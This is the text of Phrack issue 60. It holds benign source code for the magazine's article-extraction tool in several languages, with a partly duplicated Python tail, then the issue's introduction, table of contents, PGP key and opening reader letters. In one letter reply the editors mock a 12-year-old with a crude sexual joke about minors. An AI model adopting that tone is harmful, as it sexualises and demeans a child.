* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*

* extract.c

* Extracts textfiles from a specially tagged flatfile into a hierarchical * directory structure. Use to extract source code from any of the articles * in Phrack Magazine (first appeared in Phrack 50).

*

* Extraction tags are of the form:

*

* host:~> cat testfile

* irrelevant file contents

* <++> path_and_filename1 !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* <++> path_and_filename2 !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* <++> path_and_filenamen !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* EOF

*

* The `!CRC` is optional. The filename is not. To generate crc32 values * for your files, simply give them a dummy value initially. The program * will attempt to verify the crc and fail, dumping the expected crc value. * Use that one. i.e.:

*

* host:~> cat testfile

* this text is ignored by the program

* <++> testarooni !12345678

* text to extract into a file named testarooni

* as is this text

* <‑‑>

*

* host:~> ./extract testfile

* Opened testfile

* ‑ Extracting testarooni

* crc32 failed (12345678 != 4a298f18)

* Extracted 1 file(s).

*

* You would use `4a298f18` as your crc value.

*

* Compilation:

* gcc ‑o extract extract.c

*

* ./extract file1 file2 ... filen

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <string.h>

#include <dirent.h>

#include <fcntl.h>

#include <unistd.h>

#include <errno.h>

#define VERSION "7niner.20000430 revsion q"

#define BEGIN_TAG "<++> "

#define END_TAG "<‑‑>"

#define BT_SIZE strlen(BEGIN_TAG)

#define ET_SIZE strlen(END_TAG)

#define EX_DO_CHECKS 0x01

#define EX_QUIET 0x02

struct f_name

{

u_char name[256];

struct f_name *next;

};

unsigned long crcTable[256];

void crcgen()

{

unsigned long crc, poly;

int i, j;

poly = 0xEDB88320L;

for (i = 0; i < 256; i++)

{

crc = i;

for (j = 8; j > 0; j‑‑)

{

if (crc & 1)

{

crc = (crc >> 1) ^ poly;

}

else

{

crc >>= 1;

}

}

crcTable[i] = crc;

}

}

unsigned long check_crc(FILE *fp)

{

register unsigned long crc;

int c;

crc = 0xFFFFFFFF;

while( (c = getc(fp)) != EOF )

{

crc = ((crc >> 8) & 0x00FFFFFF) ^ crcTable[(crc ^ c) & 0xFF]; }

if (fseek(fp, 0, SEEK_SET) == ‑1)

{

perror("fseek");

exit(EXIT_FAILURE);

}

return (crc ^ 0xFFFFFFFF);

}

int

main(int argc, char **argv)

{

char *name;

u_char b[256], *bp, *fn, flags;

int i, j = 0, h_c = 0, c;

unsigned long crc = 0, crc_f = 0;

FILE *in_p, *out_p = NULL;

struct f_name *fn_p = NULL, *head = NULL, *tmp = NULL;

while ((c = getopt(argc, argv, "cqv")) != EOF)

{

switch (c)

{

case 'c':

flags |= EX_DO_CHECKS;

break;

case 'q':

flags |= EX_QUIET;

break;

case 'v':

fprintf(stderr, "Extract version: %s\n", VERSION); exit(EXIT_SUCCESS);

}

}

c = argc ‑ optind;

if (c < 2)

{

fprintf(stderr, "Usage: %s [‑cqv] file1 file2 ... filen\n", argv[0]); exit(0);

}

/*

* Fill the f_name list with all the files on the commandline (ignoring * argv[0] which is this executable). This includes globs. */

for (i = 1; (fn = argv[i++]); )

{

if (!head)

{

if (!(head = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc"); exit(EXIT_FAILURE);

}

strncpy(head‑>name, fn, sizeof(head‑>name)); head‑>next = NULL;

fn_p = head;

}

else

{

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc"); exit(EXIT_FAILURE);

}

fn_p = fn_p‑>next;

strncpy(fn_p‑>name, fn, sizeof(fn_p‑>name)); fn_p‑>next = NULL;

}

}

/*

* Sentry node.

*/

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc");

exit(EXIT_FAILURE);

}

fn_p = fn_p‑>next;

fn_p‑>next = NULL;

/*

* Check each file in the f_name list for extraction tags. */

for (fn_p = head; fn_p‑>next; )

{

if (!strcmp(fn_p‑>name, "‑"))

{

in_p = stdin;

name = "stdin";

}

else if (!(in_p = fopen(fn_p‑>name, "r")))

{

fprintf(stderr, "Could not open input file %s.\n", fn_p‑>name); fn_p = fn_p‑>next;

continue;

}

else

{

name = fn_p‑>name;

}

if (!(flags & EX_QUIET))

{

fprintf(stderr, "Scanning %s...\n", fn_p‑>name); }

crcgen();

while (fgets(b, 256, in_p))

{

if (!strncmp(b, BEGIN_TAG, BT_SIZE))

{

b[strlen(b) ‑ 1] = 0; /* Now we have a string. */

j++;

crc = 0;

crc_f = 0;

if ((bp = strchr(b + BT_SIZE + 1, '/'))) {

while (bp)

{

*bp = 0;

if (mkdir(b + BT_SIZE, 0700) == ‑1 && errno != EEXIST) { perror("mkdir"); exit(EXIT_FAILURE); }

*bp = '/';

bp = strchr(bp + 1, '/');

}

}

if ((bp = strchr(b, '!')))

{

crc_f =

strtoul((b + (strlen(b) ‑ strlen(bp)) + 1), NULL, 16); b[strlen(b) ‑ strlen(bp) ‑ 1 ] = 0; h_c = 1;

}

else

{

h_c = 0;

}

if ((out_p = fopen(b + BT_SIZE, "wb+"))) {

fprintf(stderr, ". Extracting %s\n", b + BT_SIZE); }

else

{

printf(". Could not extract anything from '%s'.\n", b + BT_SIZE);

continue;

}

}

else if (!strncmp (b, END_TAG, ET_SIZE))

{

if (out_p)

{

if (h_c == 1)

{

if (fseek(out_p, 0l, 0) == ‑1) { perror("fseek"); exit(EXIT_FAILURE); }

crc = check_crc(out_p); if (crc == crc_f && !(flags & EX_QUIET)) { fprintf(stderr, ". CRC32 verified (%08lx)\n", crc); }

else

{

if (!(flags & EX_QUIET))

{

fprintf(stderr, ". CRC32 failed (%08lx != %08lx)\n",

crc_f, crc);

}

}

}

fclose(out_p);

}

else

{

fprintf(stderr, ". `%s` had bad tags.\n", fn_p‑>name); continue;

}

}

else if (out_p)

{

fputs(b, out_p);

}

}

if (in_p != stdin)

{

fclose(in_p);

}

tmp = fn_p;

fn_p = fn_p‑>next;

free(tmp);

}

if (!j)

{

printf("No extraction tags found in list.\n");

}

else

{

printf("Extracted %d file(s).\n", j);

}

return (0);

}

/* EOF */

<‑‑>

<++> extract/extract.pl !1a19d427

# Daos <daos@nym.alias.net>

#!/bin/sh ‑‑ # ‑*‑ perl ‑*‑ ‑n

eval 'exec perl $0 ‑S ${1+"$@"}' if 0;

$opening=0;

if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};

if (/^\<\‑\‑\>/) {close ct_ex; $opened=0;};

if ($opening) {

chop $curfile;

$sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);

eval {mkdir $sex_dir, "0777";}; open(ct_ex,">$curfile");

print "Attempting extraction of $curfile\n"; $opened=1;

}

if ($opened && !$opening) {print ct_ex $_};

<‑‑>

<++> extract/extract.awk !26522c51

#!/usr/bin/awk ‑f

#

# Yet Another Extraction Script

# ‑ <sirsyko>

#

/^\<\+\+\>/ {

ind = 1

File = $2

split ($2, dirs, "/")

Dir="."

while ( dirs[ind+1] ) { Dir=Dir"/"dirs[ind]

system ("mkdir " Dir" 2>/dev/null") ++ind

}

next

}

/^\<\‑\‑\>/ {

File = ""

next

}

File { print >> File }

<‑‑>

<++> extract/extract.sh !a81a2320

#!/bin/sh

# exctract.sh : Written 9/2/1997 for the Phrack Staff by <sirsyko> #

# note, this file will create all directories relative to the current directory # originally a bug, I've now upgraded it to a feature since I dont want to deal # with the leading / (besides, you dont want hackers giving you full pathnames # anyway, now do you :)

# Hopefully this will demonstrate another useful aspect of IFS other than # haxoring rewt

#

# Usage: ./extract.sh <filename>

cat $* | (

Working=1

while [ $Working ];

do

OLDIFS1="$IFS"

IFS=

if read Line; then

IFS="$OLDIFS1"

set ‑‑ $Line

case "$1" in

"<++>") OLDIFS2="$IFS" IFS=/

set ‑‑ $2 IFS="$OLDIFS2" while [ $# ‑gt 1 ]; do

File=${File:‑"."}/$1

if [ ! ‑d $File ]; then

echo "Making dir $File"

mkdir $File

fi

shift

done

File=${File:‑"."}/$1 echo "Storing data in $File" ;;

"<‑‑>") if [ "x$File" != "x" ]; then

unset File

fi ;;

*) if [ "x$File" != "x" ]; then

IFS=

echo "$Line" >> $File

IFS="$OLDIFS1"

fi

;;

esac

IFS="$OLDIFS1"

else

echo "End of file"

unset Working

fi

done

)

<‑‑>

<++> extract/extract.py !83f65f60

#! /bin/env python

# extract.py Timmy 2tone <_spoon_@usa.net>

import sys, string, getopt, os

class Datasink:

"""Looks like a file, but doesn't do anything."""

def write(self, data): pass

def close(self): pass

def extract(input, verbose = 1):

"""Read a file from input until we find the end token."""

if type(input) == type('string'):

fname = input

try: input = open(fname)

except IOError, (errno, why):

print "Can't open %s: %s" % (fname, why) return errno

else:

fname = '<file descriptor %d>' % input.fileno()

inside_embedded_file = 0

linecount = 0

line = input.readline()

while line:

if not inside_embedded_file and line[:4] == '<++>':

inside_embedded_file = 1

linecount = 0

filename = string.strip(line[4:])

if mkdirs_if_any(filename) != 0:

pass

try: output = open(filename, 'w')

except IOError, (errno, why):

print "Can't open %s: %s; skipping file" % (filename, why) output = Datasink()

continue

if verbose:

print 'Extracting embedded file %s from %s...' % (filename,

fname),

elif inside_embedded_file and line[:4] == '<‑‑>': output.close()

inside_embedded_file = 0

if verbose and not isinstance(output, Datasink): print '[%d lines]' % linecount

elif inside_embedded_file:

output.write(line)

# Else keep looking for a start token.

line = input.readline()

linecount = linecount + 1

def mkdirs_if_any(filename, verbose = 1):

"""Check for existance of /'s in filename, and make directories."""

path, file = os.path.split(filename)

if not path: return

errno = 0

start = os.getcwd()

components = string.split(path, os.sep)

for dir in components:

if not os.path.exists(dir):

try:

os.mkdir(dir)

if verbose: print 'Created directory', path

except os.error, (errno, why):

print "Can't make directory %s: %s" % (dir, why) break

try: os.chdir(dir)

except os.error, (errno, why):

print "Can't cd to directory %s: %s" % (dir, why) break

os.chdir(start)

return errno

def usage():

"""Blah."""

die('Usage: extract.py [‑V] filename [filename...]')

def main():

try: optlist, args = getopt.getopt(sys.argv[1:], 'V') except getopt.error, why: usage()

if len(args) <= 0: usage()

if ('‑V', '') in optlist: verbose = 0

else: verbose = 1

for filename in args:

if verbose: print 'Opening source file', filename + '...' extract(filename, verbose)

def db(filename = 'P51‑11'):

"""Run this script in the python debugger."""

import pdb

sys.argv[1:] = ['‑v', filename]

pdb.run('extract.main()')

def die(msg, errcode = 1):

print msg

sys.exit(errcode)

if __name__ == '__main__':

try: main()

except KeyboardInterrupt: pass

except getopt.error, why: usage()

if len(args) <= 0: usage()

if ('‑V', '') in optlist: verbose = 0

else: verbose = 1

for filename in args:

if verbose: print 'Opening source file', filename + '...' extract(filename, verbose)

def db(filename = 'P51‑11'):

"""Run this script in the python debugger."""

import pdb

sys.argv[1:] = [filename]

pdb.run('extract.main()')

def die(msg, errcode = 1):

print msg

sys.exit(errcode)

if __name__ == '__main__':

try: main()

except KeyboardInterrupt: pass # No messy traceback. <‑‑>

<++> extract/extract‑win.c !e519375d

/***************************************

/* WinExtract

/*

/* Written by Fotonik <fotonik@game‑master.com>. */

/*

/* Coding of WinExtract started on 22aug98. */

/*

/* This version (1.0) was last modified on 22aug98. */

/*

/* This is a Win32 program to extract text files from a specially tagged */

/* flat file into a hierarchical directory structure. Use to extract */

/* source code from articles in Phrack Magazine. The latest version of */

/* this program (both source and executable codes) can be found on my */

/* website: http://www.altern.com/fotonik */

/***************************************

#include <stdio.h>

#include <string.h>

#include <windows.h>

void PowerCreateDirectory(char *DirectoryName);

int WINAPI WinMain(HINSTANCE hThisInst, HINSTANCE hPrevInst, LPSTR lpszArgs, int nWinMode)

{

OPENFILENAME OpenFile; /* Structure for Open common dialog box */

char InFileName[256]="";

char OutFileName[256];

char Title[]="WinExtract ‑ Choose a file to extract files from."; FILE *InFile;

FILE *OutFile;

char Line[256];

char DirName[256];

int FileExtracted=0; /* Flag used to determine if at least one file was */

int i; /* extracted */

ZeroMemory(&OpenFile, sizeof(OPENFILENAME)); OpenFile.lStructSize=sizeof(OPENFILENAME); OpenFile.hwndOwner=HWND_DESKTOP;

OpenFile.hInstance=hThisInst;

OpenFile.lpstrFile=InFileName; OpenFile.nMaxFile=sizeof(InFileName)‑1;

OpenFile.lpstrTitle=Title;

OpenFile.Flags=OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;

if(GetOpenFileName(&OpenFile))

{

if((InFile=fopen(InFileName,"r"))==NULL)

{

MessageBox(NULL,"Could not open file.",NULL,MB_OK); return 0;

}

/* If we got here, InFile is opened. */

while(fgets(Line,256,InFile))

{

if(!strncmp(Line,"<++> ",5)) /* If line begins with "<++> " */

{

Line[strlen(Line)‑1]='\0'; strcpy(OutFileName,Line+5);

/* Check if a dir has to be created and create one if necessary */

for(i=strlen(OutFileName)‑1;i>=0;i‑‑)

{ if((OutFileName[i]=='\\')||(OutFileName[i]=='/')) {

strncpy(DirName,OutFileName,i); DirName[i]='\0'; PowerCreateDirectory(DirName); break;

}

}

if((OutFile=fopen(OutFileName,"w"))==NULL)

{

MessageBox(NULL,"Could not create file.",NULL,MB_OK); fclose(InFile);

return 0;

}

/* If we got here, OutFile can be written to */

while(fgets(Line,256,InFile))

{

if(strncmp(Line,"<‑‑>",4)) /* If line doesn't begin w/ "<‑‑>" */

{

fputs(Line, OutFile);

}

else

{

break;

}

}

fclose(OutFile);

FileExtracted=1;

}

}

fclose(InFile);

if(FileExtracted)

{

MessageBox(NULL,"Extraction sucessful.","WinExtract",MB_OK); }

else

{

MessageBox(NULL,"Nothing to extract.","Warning",MB_OK); }

}

return 1;

}

/* PowerCreateDirectory is a function that creates directories that are */

/* down more than one yet unexisting directory levels. (e.g. c:\1\2\3) */

void PowerCreateDirectory(char *DirectoryName)

{

int i;

int DirNameLength=strlen(DirectoryName);

char DirToBeCreated[256];

for(i=1;i<DirNameLength;i++) /* i starts at 1, because we never need to */

{ /* create '/' */

if((DirectoryName[i]=='\\')||(DirectoryName[i]=='/')|| (i==DirNameLength‑1))

{

strncpy(DirToBeCreated,DirectoryName,i+1); DirToBeCreated[i+1]='\0'; CreateDirectory(DirToBeCreated,NULL);

}

}

}

<‑‑>

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

60

- Introduction by Phrack Staff

- Loopback by Phrack Staff

- Linenoise by Phrack Staff

- Toolz Armory by Packet Storm

- Phrack Prophile on horizon by Phrack Staff

- Smashing The Kernel Stack For Fun And Profit by noir

- Burning the bridge by FX

- Static Kernel Patching by jbtzhm

- Big Loop Integer Protection by Oded Horovitz

- Basic Integer Overflows by blexim

- SMB/CIFS By The Root by ledin

- Firewall Spotting with broken CRC by Ed3f

- Low Cost and Portable GPS Jammer by anonymous author

- Traffic Lights by plunkett

- Phrack World News by Phrack Staff

- Phrack magazine extraction utility by Phrack Staff

Introduction

==Phrack Inc.==

Volume 0x0b, Issue 0x3c, Phile #0x01 of 0x10

[‑]=====================================

_. _

* `.__________________.'_

/|_____/`._____: /_____

/ \ _`._ \ // _ \__

( \ \ `. / /_\ /__/

\ _____/ \___`. ) \

\| /___/ /___/.__/__/\__\_

`‑' pHRACK#6o `‑'

[‑]=====================================

Jingle bells jingle bells jingle all the way...X‑MAS TIME IS PHRACK‑MAS TIME.

Wow, number #60 is out. Who ever thought that we will get that far :> Let's take a look back in time who kept phrack going over all these years. Ladies and gentlemen, we are proud to present the final, latest, incomplete and maybe incorrect PHRACK EDITOR IN CHIEF TIMELINE BACK TO THE BEGINNING:

DATE NAME PHRACKZ

‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2001‑08‑11 p57..)

1997‑09‑01 route p51..p56)

1997‑04‑09 route, Datastream Cowboy (p50) 1996‑11‑08 route, Datastream Cowboy, Voyager (p49) 1996‑09‑01 Voyager, ReDragon, route (p48)

1993‑03‑01 Erik Bloodaxe (p42..p47)

1991‑09‑15 Dispater (p33..p41)

1990‑05‑28 Crimson Death (p31..p32)

1988‑10‑12 Taran King + Knight Lightning (p20..p30)

1988‑06‑07 Crimson Death (p18..p19)

1988‑04‑07 Shooting Shark (p17)

1987‑11‑01 Elric of Imrryr (p16)

1985‑11‑17 Taran King + Knight Ligthning (p01..p15) ‑‑[[[ BEGIN OF SPACE & TIME ‑ CREATION OF THE UNIVERSE ‑ THE GENESIS ]]]‑‑‑

..we came a long way...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

What's new?

We revived Phrack Prophile to honor those who did some kewl stuff for the scene.

This issue comes with a new section dedicated to tool annoucements (Phrack armory). It showcases selected tools that have been released during the last few month and that we consider cool enough to be mentioned here.

|=[ Table of Contents ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 0x01 Introduction Phrack Staff 0x009 kb |

| 0x02 Loopback Phrack Staff 0x00b kb |

| 0x03 Linenoise Phrack Staff 0x01e kb |

| 0x04 Toolz Armory Packet Storm 0x00b kb |

| 0x05 Phrack Prophile on horizon Phrack Staff 0x009 kb | | 0x06 Smashing The Kernel Stack For Fun And Profit noir 0x03e kb | | 0x07 Burning the bridge: Cisco IOS exploits FX 0x028 kb | | 0x08 Static Kernel Patching jbtzhm 0x072 kb | | 0x09 Big Loop Integer Protection Oded Horovitz 0x067 kb | | 0x0a Basic Integer Overflows blexim 0x01b kb |

| 0x0b SMB/CIFS By The Root ledin 0x07c kb |

| 0x0c Firewall Spotting with broken CRC Ed3f 0x026 kb | | 0x0d Low Cost and Portable GPS Jammer anonymous 0x021 kb |

| 0x0e Traffic Lights plunkett 0x015 kb |

| 0x0f Phrack World News Phrack Staff 0x018 kb | | 0x10 Phrack magazine extraction utility Phrack Staff 0x015 kb |

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0x282 kb |

The latest, and all previous, phrack issues are available online at http://www.phrack.org. Readers without web access can subscribe to the

phrack‑distrib mailinglist. Every new phrack is sent as email attachment to this list. Every new phrack issue (without the attachment) is announced on the announcement mailinglist.

To subscribe to the announcement mailinglist:

$ mail announcement‑subscribe@lists.phrack.org < /dev/null

To subscribe to the distribution mailinglist:

$ mail distrib‑subscribe@lists.phrack.org < /dev/null

To retrieve older issues (must subscribe first):

$ mail distrib‑index@lists.phrack.org < /dev/null

$ mail distrib‑get.<n>@lists.phrack.org < /dev/null

where n indicated the phrack issue [1..60].

Enjoy the magazine!

Phrack Magazine Vol 11 Number 60, Build 3, Dec 28, 2002. ISSN 1068‑1035 Contents Copyright (c) 2002 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without the prior written permission from the editors.

Phrack Magazine is made available to the public, as often as possible, free of charge.

|=‑‑‑‑‑‑‑‑‑‑‑=[ C O N T A C T P H R A C K M A G A Z I N E ]=‑‑‑‑‑‑‑‑‑=|

Editors : phrackstaff@phrack.org

Submissions : phrackstaff@phrack.org

Commentary : loopback@phrack.org

Phrack World News : pwn@phrack.org

We have some agressive /dev/null‑style mail filter running. We do reply to every serious email. If you did not get a reply, then your mail was probably not worth an answer or was caught by our mailfilter. Make sure your mail has a non‑implicit destination, one recipient, a non‑empty subject field, and does not contain any html code and is 100% 7bit clean pure ascii.

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Submissions may be encrypted with the following PGP key:

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: GnuPG v1.0.6 (GNU/Linux)

Comment: For info see http://www.gnupg.org

mQGiBD03YTYRBADYg6kOTnjEfrMANEGmoTLqxRZdfxGpvaU5MHPq+XHvuFAWHBm2 xB/9ZcRt4XIXw0OTL441ixL6fvGPNxjrRmAUtXSWrElGJ5lTj7VdJmdt/DbehzGb NXekehG/r6KLHX0PqNzcr84sY6/GrZUiNZftYA/eUWDB7EjEmkBIMs3bnwCg3KRb 96G68Zc+T4ebUrV5/dkYwFUEAMgSGJpdy8yBWaFUsGOsGkrZZfdf6tRA+GGOnqjS Lh094L8iuTfbxr7zO4E5+uToantAl56fHhnEy7hKJxuQdW1C0GKktUDhGltUxrob zsNdN6cBprUT7//QgdOlm3nE2E5myozhhMxLMjjFl1mNo1YrNUEU4tYWm/Zvg9OF

Te8TBADS4oafB6pT9BhGOWhoED1bQRkk/KdHuBMrgwK8vb/e36p6KMj8xBVJNglY JtIn6Iv14z8PtO62SEzlcgdsieoVncztQgLIrvCN+vKjv8jEGFtTmIhx6f/VC7pX oLX2419rePYaXCPVhw3xDN2CVahUD9jTkFE2eOSFiWJ7DqUsIrQkcGhyYWNrc3Rh ZmYgPHBocmFja3N0YWZmQHBocmFjay5vcmc+iFcEExECABcFAj03YTYFCwcKAwQD FQMCAxYCAQIXgAAKCRB73vey7F3HClWRAJ4qxMAMESfFb2Bbi+rAb0JS4LnSYwCZ AWI6ndU+sWEs/rdD78yydjPKW9q5Ag0EPTdhThAIAJNlf1QKtz715HIWA6G1CfKb ukVyWVLnP91C1HRspi5haRdyqXbOUulck7A8XrZRtDUmvMGMO8ZguEjioXdyvYdC 36LUW8QXQM9BzJd76uUl/neBwNaWCHyiUqEijzkKO8yoYrLHkjref48yBF7nbgOl i1y3QOyDGUT/sEdjE5lzHqVtDxKH9B8crVkr/O2GEyr/zRu1Z2L5TjZNcQO988Hy CyBdDVsCBwUkdrm/oyqnSiypcGzumD4pYzmquUw1EYJOVEO+WeLAOrfhd15oBZMp QlQ/MOfc0rvS27YhKKFAHhSchSFLEppy/La6wzU+CW4iIcDMny5xw1wNv3vGrScA AwUH/jAo4KbOYm6Brdvq5zLcEvhDTKf6WcTLaTbdx4GEa8Sj4B5a2A/ulycZT6Wu D480xT8me0H4LKl2j7lzhJwzG9HRp846gKrPgj7GVcAaTtsXgwJu6Q7fH74PCrOt GEyvJw+hRiQCTHUC22FUAx6SHZ5KzwMs3W8QnNUbRBfbd1hPMaEJpUeBm/jeXSm4 2JLOd9QjJu3fUIOzGj+G6MWvi7b49h/g0fH3M/LF5mPJfo7exaElXwk1ohyPjeb8 s11m348C4JqmFKijAyuQ9vfS8cdcsYUoCrWQw/ZWUIYSoKJd0poVWaHQwuAWuSFS 4C8wUicFDUkG6+f5b7wNjfW3hf2IRgQYEQIABgUCPTdhTgAKCRB73vey7F3HCq5e AJ4+jaPMQEbsmMfa94kJeAODE0XgXgCfbvismsWSu354IBL37BtyVg9cxAo=

=9kWD

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

phrack:~# head ‑22 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue.

*

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. *

*

* Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors.

* These opinions do not necessarily represent those of the Phrack Staff. */

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Loopback

phrack.org:~# cat /dev/random

==Phrack Inc.==

Volume 0x0b, Issue 0x3c, Phile #0x02 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L O O P B A C K ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrackstaff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑‑‑| QUOTE of the month

[ Once upon a time in #phrack ]

<OUAH:#phrack> *** PHRACK #60 SCHEDULED FOR 2002‑12‑27 *** <chmod_:#phrack> i know

<chmod_:#phrack> its already 2 hours late <phrack_webmaster_undercover:#phrack> is it already the 27th? <chmod_:#phrack> yes

<chmod_:#phrack> in some parts of the world

<bajkero:#phrack> Fri Dec 27 02:01:13 CET 2002

[ Meanwhile: phrack_webmaster_undercover doing the s/27th/28th/g thingie on index.php ]

<phrack_webmaster_undercover:#phrack> hmm. strange, it reads 28th here. <chmod_:#phrack> they changed recently

<chmod_:#phrack> it was 27th just one hour ago <phrack_webmaster_undercover:#phrack> mysterious...

‑‑‑‑| Statistics of the month

root@phrack.org:/var/log > grep '\.mil' httpd_access.log | uniq | wc ‑l 248

root@phrack.org:/var/log > grep '\.gov' httpd_access.log | uniq | wc ‑l 937

|=[ 0x01 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Editor in Chief!!!!

[ Nope, sorry I'm just the phrackstaff's slave answering the emails. ]

I have been trying to get the phrack magazine but upto date I have not succeeded.. I come from an African country called "kenya" and it seems they dont bring them there!!!!!! Please send me the subscription and the magazines if it posssible and bill me later,.....

[ Kenya, 1.00North, 38.00East, 582,650sq, higest point you can read phrack: Mount Kenya 5,199m, lowest point: Indian Ocen (0m hehe.). Potential number of phrack readers: 31,138,735. Hacker growth rate: 1.15%, hackers life expactancy at birth: 47.02 years, Literacy: age 15 and over can read phrack. 78.1% of the total population can read phrack. http://www.cia.giv/cia/publications/factbook/geos/ke.html ]

My address is fredie@kikuyu.com

Yours truly

Fredie..

[ Phrack is free. Nice to know that phrack read in all parts of the world, we definitely want to hear from you more often ]

|=[ 0x02 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Omar Tarabay <omar_tarabay@yahoo.com>

Subject: a real newbie

Hey guys,

[ Hello dude ]

I read your last edition and it was just great, i visited the site daily to see if the new edition is down or not.

[ oh, so that's you in the weblogs? Hi :> ]

I realy liked the files on your last edition (lockpicking was the greatest) i won't ask questions that you expect me to ask like 'please tell me how to hack into hotmail or the pentagon'.

[ Oh man, you missed it, I had some 0day for you ]

put i read myself and learn things myself but as a newbie i don't find most of your articles understandable,its only for experts and pros so if you can write articles for newbies like me and many others who want to learn please do, and about myself i amTURBOWEST(i am sure that u can know my real name easily but please don't say it)

[ Your real name is: TURBOEAST! ]

I am 12 y/o

[ Nothing to be ashamed of. We will be at the same age in 13 years. ]

I program in python . I am trying to install linux on my PC but i face some problems which i am trying to solve(i read a lot of books about linux)

[ You read these linux books? What did they teach you? How to format your harddrive, install a webcam and masturbate with 13 years old girls on netmeetings? ]

finaly i would like to say thanks for all the phrack staff and ask them to reply to me.

TURBOWEST

[ Nothing. Hope you wont get any problems with the pedophile child molesters who get back to you now... ]

|=[ 0x03 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: George escobar <dierwolf2@yahoo.com>

Subject: thanks

i found your site informative. thanks

dierwolf2

[ at your service! We dont take money donation, however you can send female shaped human beings. ]

|=[ 0x04 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: "Anthony Webb" <a_gentle_man@hotmail.com>

Subject: OK..I'm stupid, but help me anyway

OK, I admit it...I love the website, but I can't find my way around in it. Yeah, I know, I'm dumber than a bag of rusty hammers. But I need help.

[ It is a good start to admit it, let's look at your case ]

I am looking for a simple program to keep track of my companies phone calls without the company knowing I'm doing it.

[ Oh man ... that's not good at all ... ]

No, I am NOT paranoid, they ARE out to get me.

[ Honestly, you are not! Be prepared for the worst! Watch Jackie Chan and Akira movies on a daily base to train your ninja‑style to be prepared to whatever there might come. Huh? Did you hear that? THEY ARE ALREADY AT YOUR DOOR. RUUUUUUUUUUUUUUUUUUN! ]

